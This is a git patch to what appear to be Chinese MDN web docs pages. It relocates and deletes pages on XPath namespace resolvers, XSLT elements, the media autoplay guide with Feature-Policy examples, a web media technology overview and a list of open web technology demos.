+ +

附录

+ +

实现用户定义的命名空间解析器

+ +

这只是一个例子。此函数将需要从 xpathExpression 获取命名空间前缀,并返回与该前缀对应的 URI。例如,表达式:

+ +
'//xhtml:td/mathml:math'
+
+ +

将选择作为 (X)HTML 表数据单元元素的子项的所有 MathML 表达式。

+ +

为了将使用命名空间 URI http://www.w3.org/1998/Math/MathMLmathml: 前缀和使用 URI http://www.w3.org/1999/xhtmlxhtml: 关联,我们提供了一个函数:

+ +
function nsResolver(prefix) {
+  var ns = {
+    'xhtml' : 'http://www.w3.org/1999/xhtml',
+    'mathml': 'http://www.w3.org/1998/Math/MathML'
+  };
+  return ns[prefix] || null;
+}
+
+ +

我们对 document.evaluate 的调用将如下所示:

+ +
document.evaluate( '//xhtml:td/mathml:math', document, nsResolver, XPathResult.ANY_TYPE, null );
+
+ +

为 XML 文档实现默认命名空间

+ +

如前面实现默认命名空间解析器中所述,默认解析器不处理 XML 文档的默认命名空间。 例如使用本文档:

+ +
<?xml version="1.0" encoding="UTF-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom">
+    <entry />
+    <entry />
+    <entry />
+</feed>
+
+ +

doc.evaluate('//entry', doc, nsResolver, XPathResult.ANY_TYPE, null) 将返回一个空集,其中 nsResolver 是 createNSResolver 返回的解析器。传递一个 null 解析器再好不过了。

+ +

一种可能的解决方法是创建一个自定义解析器,返回正确的默认命名空间(本例中为 Atom 命名空间)。请注意,您仍然必须在 XPath 表达式中使用一些命名空间前缀,以便解析器函数能够将其更改为所需的命名空间。例如:

+ +
function resolver() {
+    return 'http://www.w3.org/2005/Atom';
+}
+doc.evaluate('//myns:entry', doc, resolver, XPathResult.ANY_TYPE, null)
+
+ +

请注意,如果文档使用多个命名空间,则需要更复杂的解析器。

+ +

下一节将介绍一种可能更好的方法(并允许不提前知道命名空间)。

+ +

使用XPath函数引用具有默认命名空间的元素

+ +

另一种匹配非空命名空间中的默认的元素的方法(以及对于动态 XPath 表达式很有效,其中命名空间可能未知),涉及使用如 [namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_myid']。这避免了 XPath 查询无法检测到定期标记的元素上的默认命名空间的问题。

+ +

获取特定的命名空间元素和属性,而不考虑前缀

+ +

如果希望在命名空间(像预期的那样)中提供灵活性,当发现命名空间元素或属性时不一定需要使用特定的前缀,必须使用特殊技术。

+ +

虽然可以修改上述部分中的方法来测试命名空间元素,而不管选择的前缀(使用 local-name() 结合 namespace-uri() 而不是 name()),但是会发生更具挑战性的情况,如果希望在谓词中获取具有特定命名空间属性的元素(假设在 XPath 1.0 中没有与实现无关的变量)。

+ +

例如,可能尝试(不正确地)使用 namespaced 属性获取元素,如下所示: var xpathlink = someElements[local-name(@*)="href" and namespace-uri(@*)='http://www.w3.org/1999/xlink'];

+ +

这可能会无意中抓取一些元素,如果它的一个属性存在,本地名称为 href,但它是一个不同的属性,有目标(XLink)命名空间(而不是 @href)。

+ +

为了使用 XLink @href 属性(而不仅限于命名空间解析器中的预定义前缀)精确地抓取元素,可以按如下方式获取它们:

+ +
var xpathEls = 'someElements[@*[local-name() = "href" and namespace-uri() = "http://www.w3.org/1999/xlink"]]'; // Grabs elements with any single attribute that has both the local name 'href' and the XLink namespace
+var thislevel = xml.evaluate(xpathEls, xml, null, XPathResult.ANY_TYPE, null);
+var thisitemEl = thislevel.iterateNext();
+
+ +

XPathResult 定义的常量

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
结果类型定义的常数描述
ANY_TYPE0包含任何类型的结果集,从表达式的评估中自然地产生。注意,如果结果是节点集,则 UNORDERED_NODE_ITERATOR_TYPE 始终是结果类型。
NUMBER_TYPE1包含单个数字的结果。这非常有用,例如,在 XPath 表达式中使用 count() 函数。
STRING_TYPE2包含单个字符串的结果。
BOOLEAN_TYPE3包含单个布尔值的结果。这非常有用,例如,在 XPath 表达式中使用 not() 函数。
UNORDERED_NODE_ITERATOR_TYPE4包含与表达式匹配的所有节点的结果节点集。节点可能不一定与它们在文档中出现的顺序相同。
ORDERED_NODE_ITERATOR_TYPE5包含与表达式匹配的所有节点的结果节点集。结果集中的节点与文档中显示的节点顺序相同。
UNORDERED_NODE_SNAPSHOT_TYPE6包含与表达式匹配的所有节点的快照的结果节点集。节点可能不一定与它们在文档中出现的顺序相同。
ORDERED_NODE_SNAPSHOT_TYPE7包含与表达式匹配的所有节点的快照的结果节点集。结果集中的节点与文档中显示的节点顺序相同。
ANY_UNORDERED_NODE_TYPE8包含与表达式匹配的任何单个节点的结果节点集。该节点不一定是文档中与表达式匹配的第一个节点。
FIRST_ORDERED_NODE_TYPE9包含文档中与表达式匹配的第一个节点的结果节点集。
+ +

参见

+ + + +
+

Original Document Information

+ +
    +
  • Based Upon Original Document Mozilla XPath Tutorial
  • +
  • Original Source Author: James Graham.
  • +
  • Other Contributors: James Thompson.
  • +
  • Last Updated Date: 2006-3-25.
  • +
+
+ +

 

diff --git a/files/zh-cn/web/xslt/element/index.html b/files/zh-cn/web/xslt/element/index.html new file mode 100644 index 0000000000..ecc12b2d6e --- /dev/null +++ b/files/zh-cn/web/xslt/element/index.html @@ -0,0 +1,53 @@ +--- +title: Elements +slug: Web/XSLT/Elements +tags: + - XSLT_Reference +translation_of: Web/XSLT/Element +--- +

{{ XsltRef() }} There are two types of elements discussed here: top-level elements and instructions. A top-level element must appear as the child of either <xsl:stylesheet> or <xsl:transform>. An instruction, on the other hand, is associated with a template. A stylesheet may include several templates. A third type of element, not discussed here, is the literal result element (LRE). An LRE also appears in a template. It consists of any non-instruction element that should be copied as-is to the result document, for example, an <hr> element in an HTML conversion stylesheet.

+

On a related note, any attribute in an LRE and some attributes of a limited number of XSLT elements can also include what is known as an attribute value template. An attribute value template is simply a string that includes an embedded XPath expression which is used to specify the value of an attribute. At run-time the expression is evaluated and the result of the evaluation is substituted for the XPath expression. For example, assume that a variable "image-dir" is defined as follows:

+
<xsl:variable name="image-dir">/images</xsl:variable>
+

The expression to be evaluated is placed inside curly brackets:

+
<img src="{$image-dir}/mygraphic.jpg"/>
+

This would result in the following:

+
<img src="/images/mygraphic.jpg"/>
+

The element annotations that follow include a description, a syntax listing, a list of required and optional attributes, a description of type and position, its source in the W3C Recommendation and an explanation of the degree of present Gecko support.

+ +

{{ languages( { "en": "en/XSLT/Elements", "fr": "fr/XSLT/\u00c9l\u00e9ments", "ja": "ja/XSLT/Elements", "pl": "pl/XSLT/Elementy" } ) }}

diff --git a/files/zh-cn/web/xslt/elements/index.html b/files/zh-cn/web/xslt/elements/index.html deleted file mode 100644 index ecc12b2d6e..0000000000 --- a/files/zh-cn/web/xslt/elements/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Elements -slug: Web/XSLT/Elements -tags: - - XSLT_Reference -translation_of: Web/XSLT/Element ---- -

{{ XsltRef() }} There are two types of elements discussed here: top-level elements and instructions. A top-level element must appear as the child of either <xsl:stylesheet> or <xsl:transform>. An instruction, on the other hand, is associated with a template. A stylesheet may include several templates. A third type of element, not discussed here, is the literal result element (LRE). An LRE also appears in a template. It consists of any non-instruction element that should be copied as-is to the result document, for example, an <hr> element in an HTML conversion stylesheet.

-

On a related note, any attribute in an LRE and some attributes of a limited number of XSLT elements can also include what is known as an attribute value template. An attribute value template is simply a string that includes an embedded XPath expression which is used to specify the value of an attribute. At run-time the expression is evaluated and the result of the evaluation is substituted for the XPath expression. For example, assume that a variable "image-dir" is defined as follows:

-
<xsl:variable name="image-dir">/images</xsl:variable>
-

The expression to be evaluated is placed inside curly brackets:

-
<img src="{$image-dir}/mygraphic.jpg"/>
-

This would result in the following:

-
<img src="/images/mygraphic.jpg"/>
-

The element annotations that follow include a description, a syntax listing, a list of required and optional attributes, a description of type and position, its source in the W3C Recommendation and an explanation of the degree of present Gecko support.

- -

{{ languages( { "en": "en/XSLT/Elements", "fr": "fr/XSLT/\u00c9l\u00e9ments", "ja": "ja/XSLT/Elements", "pl": "pl/XSLT/Elementy" } ) }}

diff --git "a/files/zh-cn/web/\345\252\222\344\275\223/autoplay_guide/index.html" "b/files/zh-cn/web/\345\252\222\344\275\223/autoplay_guide/index.html" deleted file mode 100644 index db2ac88dc0..0000000000 --- "a/files/zh-cn/web/\345\252\222\344\275\223/autoplay_guide/index.html" +++ /dev/null @@ -1,265 +0,0 @@ ---- -title: Autoplay guide for media and Web Audio APIs -slug: Web/媒体/Autoplay_guide -translation_of: Web/Media/Autoplay_guide ---- -

Automatically starting the playback of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users. While autoplay of media serves a useful purpose, it should be used carefully and only when needed. In order to give users control over this, browsers often provide various forms of autoplay blocking. In this guide, we'll cover autoplay functionality in the various media and Web Audio APIs, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully.

- -

Autoplay blocking is not applied to {{HTMLElement("video")}} elements when the source media does not have an audio track, or if the audio track is muted. Media with an active audio track are considered to be audible, and autoplay blocking applies to them. Inaudible media are not affected by autoplay blocking.

- -

自动播放 和 自动播放暂停

- -

The term autoplay refers to any feature that causes audio to begin to play without the user specifically requesting that playback begin. This includes both the use of HTML attributes to autoplay media as well as the user of JavaScript code to start playback outside the context of handling user input.

- -

That means that both of the following are considered autoplay behavior, and are therefore subject to the browser's autoplay blocking policy:

- -
<audio src="/music.mp4" autoplay>
- -

- -
audioElement.play();
-
- -

以下网络功能和API可能会受到自动播放阻止的影响:

- -
    -
  • The {{Glossary("HTML")}} {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements
  • -
  • The Web Audio API
  • -
- -

从用户的角度来看,网页或应用程序自动地发出噪音而没有警告可能会令人讨厌、不便或令人反感。因此,浏览器通常仅允许在特定情况下进行自动播放。

- -

Autoplay功能

- -

据新政策,媒体内容将在满足以下至少一个的条件下自动播放:

- -
    -
  • 音频被静音或其音量设置为0
  • -
  • 用户和网页已有交互行为(包括点击、触摸、按下某个键等等)
  • -
  • 网站已被列入白名单;如果浏览器确定用户经常与媒体互动,这可能会自动发生,也可能通过首选项或其他用户界面功能手动发生
  • -
  • 自动播放策略应用到{{HTMLElement("iframe")}}或者其文档上
  • -
- -

否则,播放可能会被阻止。导致播放被阻塞的确切情况以及将网站列入白名单的具体方法因浏览器而异,但最好是遵循以上的原则。

- -

详情,请参阅 Google Chrome 和 WebKit 的自动播放政策。

- -
-

注意: 换句话说,如果在尚无任何用户交互的页面中通过编程方式启动播放,则通常会阻止任何包含音频在内的媒体的播放。

-
- -

能自动播放的媒体元素

- -

既然我们已经介绍了什么是自动播放以及什么可以阻止自动播放,接下来我们将介绍您的网站或应用程序如何在页面加载时自动播放媒体,如何检测何时自动播放失败,以及当自动播放被浏览器拒绝时的应对技巧。

- -

autoplay 属性

- -

想让内容自动播放的最简单方法是将{{htmlattrxref("autoplay", "audio")}}属性添加到{{HTMLElement("audio")}}或{{HTMLElement("video")}}元素。并将{{domxref("HTMLMediaElement.autoplay", "autoplay")}}属性设置为 true ,当 autoplay 的属性为 true 时,媒体元素将在发生以下情况后尽快自动开始播放:

- -
    -
  • -

    页面允许使用自动播放功能

    -
  • -
  • 媒体元素已在页面加载期间创建
  • -
  • 假设网络性能或带宽没有显着变化,且已收到足够的媒体流并已开始播放,继续播放直至媒体结束而不会中断。
  • -
- -

例子1: autoplay属性

- -

使用 autoplay 属性的{{HTMLElement("audio")}}元素就像如下:

- -
<audio id="musicplayer" autoplay>
-  <source src="/music/chapter1.mp4"
-</audio>
-
- -

例子2:检测自动播放失败

- -

如果你依靠自动播放功能去做一些重要的事情,或者自动播放失败会以任何方式影响你的应用程序,那你可能会想知道自动播放什么时候没有开始。不幸的是,对于{{htmlattrxref("autoplay", "audio")}}属性,识别自动播放是否成功开始是很棘手的。自动播放失败时不会触发任何事件。也没有抛出异常或可以设置回调,甚至在媒体元素上都没有标记来告诉你自动播放是否起作用。你实际能做的就是检查一些值,然后根据这些值猜测自动播放是否起作用。

- -

如果您能够调整查看内容的方向,那么更好的方法是,依靠知道媒体播放已成功开始,而不是在媒体启动失败时知道。您可以通过侦听要在媒体元素上触发的{{event("play")}}事件来轻松实现此目的。

- -

The play event is sent both when the media is resumed after being paused and when autoplay occurs. That means that the first time the play event is fired, you know your media is being started for the first time after the page is opened.

- -

Consider this HTML for a media element:

- -
<video src="myvideo.mp4" autoplay onplay=handleFirstPlay(event)">
- -

Here we have a {{HTMLElement("video")}} element whose {{htmlattrxref("autoplay", "video")}} attribute is set, with an {{domxref("HTMLMediaElement.onplay", "onplay")}} event handler set up; the event is handled by a function called handleFirstPlay(), which receives as input the play event.

- -

handleFirstPlay() looks like this:

- -
function handleFirstPlay(event) {
-  let vid = event.target;
-
-  vid.onplay = null;
-
-  // Start whatever you need to do after playback has started
-}
- -

After getting a reference to the video element from the {{domxref("Event")}} object's {{domxref("Event.target", "target")}}, the element's onplay handler is set to null. This will prevent any future play events from being delivered to the handler. That could happen if the video is paused and resumed by the user or automatically by the browser when the document is in a background tab.

- -

At this point, your site or app can begin whatever it needs to do that relies upon the video having been started up.

- -
-

Note: This approach doesn't differentiate between autoplay and the user starting playback manually.

-
- -

The play() method

- -

The term "autoplay" also refers to scenarios in which a script tries to trigger the playback of media that includes audio, outside the context of handling a user input event. This is done by calling the media element's {{domxref("HTMLMediaElement.play", "play()")}} method.

- -
-

Note: It is strongly recommended that you use the autoplay attribute whenever possible, because support for autoplay preferences are more widespread for the autoplay attribute than for other means of playing media automatically. It also lets the browser take responsibility for starting playback, letting it optimize the timing of that taking place.

-
- -

Example: Playing video

- -

This simple example plays the first {{HTMLElement("video")}} element found in the document. play() won't let the playback begin unless the document has permission to automatically play media.

- -
document.querySelector("video").play();
- -

Example: Handling play() failures

- -

It's much easier to detect a failure to autoplay media when you use the {{domxref("HTMLMediaElement.play", "play()")}} method to start it. play() returns a {{jsxref("Promise")}} which is resolved once the media successfully begins to play, and is rejected when playback fails to begin (such as if autoplay is denied). When autoplay fails, you likely will want to offer a way for the user to manually tell the browser to ask the user to grant permission to play media.

- -

You might use code like this to accomplish the job:

- -
let startPlayPromise = videoElem.play();
-
-if (startPlayPromise !== undefined) {
-  startPlayPromise.catch(error => {
-    if (error.name === "NotAllowedError") {
-      showPlayButton(videoElem);
-    } else {
-      // Handle a load or playback error
-    }
-  }).then(() => {
-    // Start whatever you need to do only after playback
-    // has begun.
-  });
-}
-
- -

The first thing we do with the result of play() is make sure it's not undefined. We check for this because in earlier versions of the HTML specification, play() didn't return a value. Returning a promise to allow you to determine success or failure of the operation was added more recently. Checking for undefined prevents this code from failing with an error on older versions of web browsers.

- -

We then add a {{jsxref("Promise.catch", "catch()")}} handler to the promise. This looks at the error's {{domxref("DOMException.name", "name")}} to see if it's NotAllowedError. This indicates that playback failed due to a permission issue, such as autoplay being denied. If that's the case, we should present a user interface to let the user manually start playback; that's handled here by a function showPlayButton().

- -

Any other errors are handled as appropriate.

- -

If the promise returned by play() is resolved without error, the then() clause is run and can begin whatever needs to be done when autoplay has begun.

- -

Autoplay using the Web Audio API

- -

In the Web Audio API, a web site or app can start playing audio using the start() method on a source node linked to the {{domxref("AudioContext")}}. Doing so outside the context of handling a user input event is subject to autoplay rules.

- -

More content will come soon; autoplay blocking is still being worked on at Mozilla. If others have it already, they are welcome to pitch in with this section...

- -

The autoplay feature policy

- -

In addition to the browser-side management and control over autoplay functionality described above, a web server can also express its willingness to allow autoplay to function. The {{Glossary("HTTP")}} {{HTTPHeader("Feature-Policy")}} header's autoplay directive is used to control which domains, if any, can be used to autoplay media. By default, the autoplay feature policy is set to 'self' (including the single quote characters), indicating that autoplay is permitted as they're hosted on the same domain as the document.

- -

You can also specify 'none' to disable autoplay entirely, '*' to allow autoplay from all domains, or one or more specific origins from which media can be automatically played. These origins are separated by space characters.

- -
-

Note: The specified feature policy applies to the document and every {{HTMLElement("iframe")}} nested within it, unless those frames include an {{htmlattrxref("allow", "iframe")}}, which sets a new feature policy for that frame and all frames nested within it.

-
- -

When using the {{htmlattrxref("allow", "iframe")}} attribute on an <iframe> to specify a feature policy for that frame and its nested frames, you can also specify the value 'src' to allow autoplay of media only from the same domain as that specified by the frame's {{htmlattrxref("src", "iframe")}} attribute.

- -

Example: Allowing autoplay only from the document's domain

- -

To use the {{HTTPHeader("Feature-Policy")}} header to only allow media to autoplay from the document's {{Glossary("origin")}}:

- -
Feature-Policy: autoplay 'self'
- -

To do the same for an {{HTMLElement("iframe")}}:

- -
<iframe src="mediaplayer.html"
-        allow="autoplay 'src'">
-</iframe>
-
- -

Example: Allowing autoplay and fullscreen mode

- -

Adding Fullscreen API permission to the previous example results in a Feature-Policy header like the following if fullscreen access is allowed regardless of the domain; a domain restriction can be added as well as needed.

- -
Feature-Policy: autoplay 'self'; fullscreen
- -

The same permissions, grated using the <iframe> element's allow property, look like this:

- -
<iframe src="mediaplayer.html"
-        allow="autoplay 'src'; fullscreen">
-</iframe>
-
- -

Example: Allowing autoplay from specific sources

- -

The Feature-Policy header to allow media to be played from both the document's (or <iframe>'s) own domain and https://example.media looks like this:

- -
Feature-Policy: autoplay 'self' https://example.media
- -

An {{HTMLElement("iframe")}} can be written to specify that this autoplay policy should be applied to itself and any child frames would be written thusly:

- -
<iframe width="300" height="200"
-        src="mediaplayer.html"
-        allow="autoplay 'src' https://example.media">
-</iframe>
-
- -

Example: Disabling autoplay

- -

Setting the autoplay feature policy to 'none' disables autoplay entirely for the document or <iframe> and all nested frames. The HTTP header is:

- -
Feature-Policy: autoplay 'none'
- -

Using the <iframe>'s allow attribute:

- -
<iframe src="mediaplayer.html"
-        allow="autoplay 'none'">
-</iframe>
-
- -

Best practices

- -

Tips and recommended best practices to help you make the most of working with autoplay are offered here.

- -

Handling autoplay failure with media controls

- -

A common use case for autoplay is to automatically begin to play a video clip that goes along with an article, an advertisement, or a preview of the page's main functionality. To autoplay videos like these, you have two options: don't have an audio track, or have an audio track but configure the {{HTMLElement("video")}} element to mute the audio by default, like this:

- -
<video src="/videos/awesomevid.webm" controls autoplay muted>
- -

This video element is configured to include the user controls (typically play/pause, scrubbing through the video's timeline, volume control, and muting); also, since the {{htmlattrxref("muted", "video")}} attribute is included, the video will autoplay but with the audio muted. The user has the option, however, of re-enabling the audio by clicking on the unmute button in the controls.

- -

Browser configuration options

- -

Browsers may have preferences that control the way autoplay works, or how autoplay blocking is handled. Here, any such preferences that may be of special significance or importance to you as a web developer are listed. These include any that may aid in testing or debugging as well as any that could be set in a way that you need to be prepared to handle.

- -

Firefox

- -
-
media.allowed-to-play.enabled
-
A Boolean preference which specifies whether or not the {{domxref("HTMLMediaElement.allowedToPlay")}} property is exposed to the web. This is currently false by default (except in nightly builds, where it's true by default). If this is false, the allowedToPlay property is missing from the HTMLMediaElement interface, and is thus not present on either {{HTMLElement("audio")}} or {{HTMLElement("video")}} elements.
-
media.autoplay.allow-extension-background-pages
-
This Boolean preference, if true, allows browser extensions' background scripts to autoplay audio media. Setting this value to false disables this capability. The default value is true.
-
media.autoplay.allow-muted
-
A Boolean preference which if true (the default) allows audio media which is currently muted to be automatically played. If this has been changed to false, media with an audio track will not be permitted to play even if muted.
-
media.autoplay.block-webaudio
-
A Boolean preference which indicates whether or not to apply autoplay blocking to the Web Audio API. The default is true.
-
media.autoplay.default
-
An integer preference which specifies whether per-domain configuration for autoplay support by default is allowed (0), blocked (1), or prompt-on-use (2). The default value is 0.
-
media.autoplay.enabled.user-gestures-needed (Nightly builds only)
-
A Boolean preference which controls whether or not detection of user gestures is allowed to override the setting of media.autoplay.default. If media.autoplay.default is not set to 0 (autoplay allowed by default), this preference being true allows autoplay of media with audio tracks anyway if the page has been activated by user gestures, and media that isn't audible is not restricted at all.
-
media.block-autoplay-until-in-foreground
-
A Boolean preference which indicates whether or not media playback is blocked when started on a background tab. The default value, true, means that even when otherwise available, autoplay won't take place until after a tab is brought to the foreground. This prevents the distracting situation in which a tab begins playing sound and the user can't find the tab among all their tabs and windows.
-
- -

See also

- - diff --git "a/files/zh-cn/web/\345\252\222\344\275\223/index.html" "b/files/zh-cn/web/\345\252\222\344\275\223/index.html" deleted file mode 100644 index 5a66bbe303..0000000000 --- "a/files/zh-cn/web/\345\252\222\344\275\223/index.html" +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Web 媒体技术 -slug: Web/媒体 -tags: - - 视频 - - 音频 -translation_of: Web/Media ---- -
- -

逐年来,Web 呈现、创建并管理音频、视频和其他媒体的能力以不断增长的步伐发展。今日有着大量的 API、HTML 元素、DOM 界面和其他不仅仅限于完成这些任务,而是为了将媒体和其他技术联合使用以实现非凡事物的特性可供使用。这篇文章列出了可能对您掌握这些技术有帮助的多种 API 与其文档链接。

- -
-
-

参考文献

- -

HTML

- -

这些文章含括了供媒体开发者使用的 HTML 特性。

- -
-
{{HTMLElement("audio")}}
-
<audio> 元素用于在 Web 上下文中播放音频。这可以用于复杂媒体的隐性目标,亦或是用户控制播放音频的可见控制。可以从 JavaScript {{domxref("HTMLAudioElement")}} 对象中访问。
-
{{HTMLElement("video")}}
-
<video> 元素是 Web 上下文中视频内容的端点。其可以简单地用于呈现视频,亦或是流式视频的目标。<video> 也可以用于连接媒体 API 和其他 HTML 与 DOM 技术,比如 {{HTMLElement("canvas")}} (用于抓取并控制框中内容),例如,可以通过 JavaScript {{domxref("HTMLVideoElement")}} 对象访问。
-
{{HTMLElement("track")}}
-
<track> 元素可以被放置在 {{HTMLElement("audio")}} 或者 {{HTMLElement("video")}} 元素内部,当在媒体播放时,以提供 WebVTT 格式化字幕或标题轨道的参考。可以通过 JavaScript {{domxref("HTMLTrackElement")}} 对象访问。
-
{{HTMLElement("source")}}
-
<source> 元素可以放在 {{HTMLElement("audio")}} 或者 {{HTMLElement("video")}} 元素内部,以指定当前显示的源媒体。可以使用多个不同格式、大小、分辨率的媒体源。可以从通过 JavaScript {{domxref("HTMLSourceElement")}} 对象中访问。
-
- -

API

- -
-
媒体捕获和流媒体 API
-
使得串流、播放和控制本地和网络媒体成为可能的 API 参考文献。包括使用本地摄像头与麦克风来抓取视频、音频和静止图片。
-
网络音频 API
-
网络音频 API 允许您生成、过滤并调节实时与预录的音频材料,并将其发送至 <audio> 元素、媒体流或磁盘中。
-
WebRTC
-
WebRTC (网页即时通信) 可以使互联网上任意两位用户在无需媒介的情况下中串流实时音频、视频和任意数据。
-
-
- -
-

指南

- -
-
Web 上的媒体技术概览
-
概览提供音频、视频播放与录制的开放网络技术和 API。若您不了解该使用哪种 API,这就是您的开始。
-
Web 设计中的媒体无障碍指南
-
在本指南中,我们将介绍 web 设计人员和开发人员创建的内容能让具有不同能力的人可以访问的方法。这个范围包括从 {{HTMLElement("image")}} 元素上简单地使用 {{htmlattrxref("alt", "img")}} 属性到为屏幕阅读者提供字幕标记的媒体。
-
Web 媒体类型和格式指南
-
关于文件类型和编解码器对于 web 上的图像、音频和视频媒体有效的指南。这包括使用何种格式处理什么内容的建议、最佳实践,以及如何提供后备方案和如何对媒体类型进行优先排序,还包括针对每个媒体容器和编解码器的一般浏览器支持信息。
-
媒体和 Web 音频 APIs 自动播放指南
-
出乎意料的自动播放媒体或音频对用户来说可能是一个不受欢迎的惊喜。虽然自动播放是有目的的,但应该谨慎使用。为了让用户控制这一点,许多浏览器现在都提供了自动播放阻塞的形式。本文是关于自动播放的指南,提供了一些技巧,告诉您何时以及如何使用它,以及如何使用浏览器优雅地处理自动播放阻塞。
-
- -
-
- -

其他主题

- -

您可能会感兴趣的相关主题,这些技术可以用有趣的方式与媒体 API 共同使用。

- -
-
Canvas API
-
Canvas API 允许您在 {{HTMLElement("canvas")}} 上绘画、操纵并改变图像内容。这样可以与媒体以多种方式使用,包括设置 <canvas> 元素作为视频播放或摄像头捕获的终点以捕获或操纵视频帧。
-
WebGL
-
WebGL 在已存在的 Canvas API 上提供了与 OpenGL ES 兼容的 API,使得在 Web 上制作强大的 3D 图像成为可能。通过一张画布,这可以用于为媒体内容添加 3D 图像。
-
WebVR
-
Web Virtual Reality API 支持虚拟现实 (VR) 设备,如 Oculus Rift 或 HTC Vive,使开发人员能够将用户的位置和移动转换为 3D 场景中的移动,然后在设备上显示。WebVR 有望逐渐被 WebXR 所取代,后者涵盖了更广泛的用例。
-
WebXR
-
WebXR 旨在最终取代 WebVR,是一种支持创建虚拟现实 (VR) 和增强现实 (AR) 内容的技术。混合现实内容可以显示在设备的屏幕上,或者是显示在目镜或耳机内。
-
-
-
diff --git "a/files/zh-cn/web/\346\274\224\347\244\272\350\257\264\346\230\216/index.html" "b/files/zh-cn/web/\346\274\224\347\244\272\350\257\264\346\230\216/index.html" deleted file mode 100644 index 2a8a22bce5..0000000000 --- "a/files/zh-cn/web/\346\274\224\347\244\272\350\257\264\346\230\216/index.html" +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: 开源 Web 技术示例 -slug: Web/演示说明 -tags: - - 2D - - 3D - - CSS - - Canvas - - Design - - HTML - - SVG - - Video -translation_of: Web/Demos_of_open_web_technologies ---- -

Mozilla 支持各种令人兴奋的开源 Web 技术,我们鼓励大家使用它们。此页面提供了有关这些技术的一些有趣演示链接。

- -

如果你知道开源 Web 技术的优秀演示或者应用,就在这里(以及 英文页面)添加一个合适的链接吧。

- -

2D 图形

- -

Canvas

- - - -

SVG

- - - -

视频

- - - -

3D 图像

- -

WebGL

- - - -

虚拟现实(VR)

- - - -

CSS

- - - -

旧项目:

- - - -

变换

- - - -

游戏

- - - -

Web API

- -
    -
- -

通知 API

- - - -
    -
- -

网络音频 API

- - - -

文件 API

- - - -

其他

- - -- cgit v1.2.3-54-g00ecf